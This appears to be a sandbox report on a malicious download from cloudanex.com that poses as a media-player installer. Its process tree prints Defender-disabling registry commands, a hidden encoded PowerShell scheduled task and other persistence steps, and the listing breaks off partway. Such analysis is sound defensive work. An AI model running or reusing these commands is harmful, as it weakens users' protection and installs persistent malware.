Overview

overview

10

Static

static

1

URLScan

urlscan

1

http://cloudanex.com...

windows10-1703-x64

8

http://cloudanex.com...

windows7-x64

10

http://cloudanex.com...

windows10-1703-x64

8

http://cloudanex.com...

windows10-2004-x64

8

Analysis

  • max time kernel
    247s
  • max time network
    249s
  • platform
    windows10-1703_x64
  • resource
    win10-20231129-de
  • resource tags

    arch:x64arch:x86image:win10-20231129-delocale:de-deos:windows10-1703-x64systemwindows
  • submitted
    10/12/2023, 18:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    http://cloudanex.com/file/a91bf8

Score
8/10
bootkitdiscoverypersistencespywarestealerupx

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 22 IoCs
  • Loads dropped DLL 21 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 59 IoCs
  • NSIS installer 4 IoCs
    installer
  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\LaunchWinApp.exe
    "C:\Windows\system32\LaunchWinApp.exe" "http://cloudanex.com/file/a91bf8"
    1⤵
      PID:5048
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
      1⤵
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1996
    • C:\Windows\system32\browser_broker.exe
      C:\Windows\system32\browser_broker.exe -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • NTFS ADS
      PID:2804
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Modifies registry class
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3220
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4920
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Drops file in Windows directory
      • Modifies registry class
      PID:3952
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5012
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:2172
      • C:\Users\Admin\AppData\Local\Temp\Temp1_unicoresetup_HOoocj2i8D.zip\unicoresetup_HOoocj2i8D.exe
        "C:\Users\Admin\AppData\Local\Temp\Temp1_unicoresetup_HOoocj2i8D.zip\unicoresetup_HOoocj2i8D.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4144
        • C:\Users\Admin\AppData\Local\Temp\is-AGTGG.tmp\unicoresetup_HOoocj2i8D.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-AGTGG.tmp\unicoresetup_HOoocj2i8D.tmp" /SL5="$303F8,5602856,54272,C:\Users\Admin\AppData\Local\Temp\Temp1_unicoresetup_HOoocj2i8D.zip\unicoresetup_HOoocj2i8D.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:308
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Delete /F /TN "MUSEXT12091"
            3⤵
              PID:1416
            • C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe
              "C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe"
              3⤵
                PID:1804
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 876
                  4⤵
                  • Program crash
                  PID:4552
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 988
                  4⤵
                  • Program crash
                  PID:2928
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 252
                  4⤵
                  • Program crash
                  PID:2852
              • C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe
                "C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe" a225aa670d7bce33d4b027c9d7db3cd3
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3212
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 856
                  4⤵
                  • Program crash
                  PID:2472
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 888
                  4⤵
                  • Program crash
                  PID:2948
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 908
                  4⤵
                  • Program crash
                  PID:2452
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1004
                  4⤵
                  • Program crash
                  PID:1196
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1044
                  4⤵
                  • Program crash
                  PID:2112
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1080
                  4⤵
                  • Program crash
                  PID:2172
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1020
                  4⤵
                  • Program crash
                  PID:1900
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 976
                  4⤵
                  • Program crash
                  PID:4728
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1112
                  4⤵
                  • Program crash
                  PID:4136
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1044
                  4⤵
                  • Program crash
                  PID:1252
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1192
                  4⤵
                  • Program crash
                  PID:1372
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1384
                  4⤵
                  • Program crash
                  PID:2172
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1636
                  4⤵
                  • Program crash
                  PID:1900
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1604
                  4⤵
                  • Program crash
                  PID:2112
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1676
                  4⤵
                  • Program crash
                  PID:3728
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1900
                  4⤵
                  • Program crash
                  PID:4168
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1496
                  4⤵
                  • Program crash
                  PID:3528
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1948
                  4⤵
                  • Program crash
                  PID:2352
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1680
                  4⤵
                  • Program crash
                  PID:4036
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1200
                  4⤵
                  • Program crash
                  PID:3448
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1656
                  4⤵
                  • Program crash
                  PID:1980
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1972
                  4⤵
                  • Program crash
                  PID:1900
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2016
                  4⤵
                  • Program crash
                  PID:3236
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1672
                  4⤵
                  • Program crash
                  PID:3068
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1504
                  4⤵
                  • Program crash
                  PID:2948
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1740
                  4⤵
                  • Program crash
                  PID:3068
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1944
                  4⤵
                  • Program crash
                  PID:2948
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1676
                  4⤵
                  • Program crash
                  PID:3068
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1676
                  4⤵
                  • Program crash
                  PID:2948
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1764
                  4⤵
                  • Program crash
                  PID:1316
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1716
                  4⤵
                  • Program crash
                  PID:3236
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1648
                  4⤵
                  • Program crash
                  PID:1316
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1812
                  4⤵
                  • Program crash
                  PID:4000
                  • C:\Windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                    5⤵
                      PID:1396
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1920
                    4⤵
                    • Program crash
                    PID:4540
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\6m5Dd6pQ\Oz7aA8C.exe"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4036
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\6m5Dd6pQ\Oz7aA8C.exe"
                      5⤵
                        PID:4540
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\YEMcVjcq\I7eIZN.exe"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5240
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\HV6vh406\lXobyI3CJsXRfjwU9VtZ.exe"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5532
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\HV6vh406\lXobyI3CJsXRfjwU9VtZ.exe"
                        5⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5596
                    • C:\Users\Admin\AppData\Local\Temp\6m5Dd6pQ\Oz7aA8C.exe
                      C:\Users\Admin\AppData\Local\Temp\6m5Dd6pQ\Oz7aA8C.exe -eywhbg73luze
                      4⤵
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5724
                    • C:\Users\Admin\AppData\Local\Temp\YEMcVjcq\I7eIZN.exe
                      C:\Users\Admin\AppData\Local\Temp\YEMcVjcq\I7eIZN.exe /sid=3 /pid=449
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5832
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2096
                      4⤵
                      • Program crash
                      PID:5864
                    • C:\Users\Admin\AppData\Local\Temp\HV6vh406\lXobyI3CJsXRfjwU9VtZ.exe
                      C:\Users\Admin\AppData\Local\Temp\HV6vh406\lXobyI3CJsXRfjwU9VtZ.exe
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:6128
                      • C:\Users\Admin\AppData\Local\Temp\is-DIS46.tmp\lXobyI3CJsXRfjwU9VtZ.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-DIS46.tmp\lXobyI3CJsXRfjwU9VtZ.tmp" /SL5="$20550,7009574,54272,C:\Users\Admin\AppData\Local\Temp\HV6vh406\lXobyI3CJsXRfjwU9VtZ.exe"
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in Program Files directory
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:3448
                        • C:\Program Files (x86)\CRTGame\crtgame.exe
                          "C:\Program Files (x86)\CRTGame\crtgame.exe" -s
                          6⤵
                          • Executes dropped EXE
                          PID:5368
                        • C:\Windows\SysWOW64\net.exe
                          "C:\Windows\system32\net.exe" helpmsg 10
                          6⤵
                            PID:5396
                          • C:\Program Files (x86)\CRTGame\crtgame.exe
                            "C:\Program Files (x86)\CRTGame\crtgame.exe" -i
                            6⤵
                              PID:1836
                            • C:\Windows\SysWOW64\schtasks.exe
                              "C:\Windows\system32\schtasks.exe" /Query
                              6⤵
                                PID:3684
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2116
                            4⤵
                            • Program crash
                            PID:5256
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2172
                            4⤵
                            • Program crash
                            PID:4732
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2076
                            4⤵
                            • Program crash
                            PID:5768
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2284
                            4⤵
                            • Program crash
                            PID:4104
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2236
                            4⤵
                            • Program crash
                            PID:3508
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2228
                            4⤵
                            • Program crash
                            PID:5332
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2164
                            4⤵
                            • Program crash
                            PID:5396
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 helpmsg 10
                              5⤵
                                PID:5700
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2204
                              4⤵
                              • Program crash
                              PID:5712
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2256
                              4⤵
                              • Program crash
                              PID:5792
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2296
                              4⤵
                              • Program crash
                              PID:5272
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2304
                              4⤵
                              • Program crash
                              PID:5784
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2320
                              4⤵
                              • Program crash
                              PID:4932
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2356
                              4⤵
                              • Program crash
                              PID:5708
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1676
                              4⤵
                              • Program crash
                              PID:5840
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe"
                              4⤵
                                PID:5280
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2204
                                4⤵
                                • Program crash
                                PID:5284
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2400
                                4⤵
                                • Program crash
                                PID:5640
                              • C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe
                                C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe --silent --allusers=0
                                4⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Enumerates connected drives
                                • Modifies system certificate store
                                PID:6088
                                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202312101828101\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe
                                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202312101828101\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4540
                                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202312101828101\assistant\assistant_installer.exe
                                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202312101828101\assistant\assistant_installer.exe" --version
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:192
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\0T6rp3aV\HNx4ry.exe"
                                4⤵
                                  PID:5592
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\0T6rp3aV\HNx4ry.exe"
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:5668
                                • C:\Users\Admin\AppData\Local\Temp\0T6rp3aV\HNx4ry.exe
                                  C:\Users\Admin\AppData\Local\Temp\0T6rp3aV\HNx4ry.exe /did=757674 /S
                                  4⤵
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Enumerates system info in registry
                                  PID:5376
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                    5⤵
                                      PID:2188
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                      5⤵
                                        PID:2468
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        schtasks /CREATE /TN "gAVAtXIKr" /SC once /ST 15:07:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                        5⤵
                                        • Creates scheduled task(s)
                                        PID:5848
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        schtasks /run /I /tn "gAVAtXIKr"
                                        5⤵
                                          PID:5600
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /CREATE /TN "bFsiyFXUbiZjnXWhxm" /SC once /ST 18:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\UHHZEfKopAoZFkmhZ\HxbkHoBnvKMwQfU\UjeQbzL.exe\" r6 /MGsite_idbdl 757674 /S" /V1 /F
                                          5⤵
                                          • Drops file in Windows directory
                                          • Creates scheduled task(s)
                                          PID:2188
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /DELETE /F /TN "gAVAtXIKr"
                                          5⤵
                                            PID:2332
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2164
                                          4⤵
                                          • Program crash
                                          PID:5784
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2424
                                          4⤵
                                          • Program crash
                                          PID:5968
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 2360
                                          4⤵
                                          • Program crash
                                          PID:1068
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1652
                                          4⤵
                                          • Program crash
                                          PID:5484
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1700
                                          4⤵
                                          • Program crash
                                          PID:5844
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        "C:\Windows\system32\schtasks.exe" /Query
                                        3⤵
                                          PID:412
                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                      1⤵
                                      • Executes dropped EXE
                                      PID:1804
                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                      1⤵
                                      • Modifies registry class
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4620
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\YEMcVjcq\I7eIZN.exe"
                                      1⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5292
                                    • C:\Program Files\WProxy\WinProxy\WinProxy.exe
                                      "C:\Program Files\WProxy\WinProxy\WinProxy.exe"
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:5048
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe"
                                      1⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5976
                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\D7AD7BEX0ExassNMmFX.exe
                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\D7AD7BEX0ExassNMmFX.exe" --version
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:6136
                                    • C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe
                                      C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.34 --initial-client-data=0x2dc,0x2e0,0x2e4,0x2ac,0x2e8,0x711174f0,0x71117500,0x7111750c
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:5508
                                    • C:\Users\Admin\AppData\Local\Temp\oAPIJYvY\D7AD7BEX0ExassNMmFX.exe
